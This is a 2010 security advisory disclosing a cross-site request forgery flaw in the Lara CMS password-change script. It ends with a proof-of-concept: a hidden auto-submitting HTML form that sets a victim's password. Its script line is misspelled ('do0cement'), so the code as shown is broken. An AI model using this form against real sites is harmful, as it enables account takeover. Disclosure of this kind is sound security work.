Vulnerability ID: HTB22619 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_lara.html Product: Lara Vendor: Geographical Media ( http://getlara.com/ ) Vulnerable Version: Current at 18.09.2010 and Probably Prior Versions Vendor Notification: 27 September 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the /_ui/changepassword script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form method="POST" name="m" action="http://host//_ui/changepassword?method=UpdatePassword&type=get";> <input type="hidden" name="MediaId" value="4f90f994-3fd0-4a02-818d-05ce325d0fb1"> <!-- this is statick value --> <input type="hidden" name="Password" value="1111"> </form> <script> do0cement.m.submit(); </script>
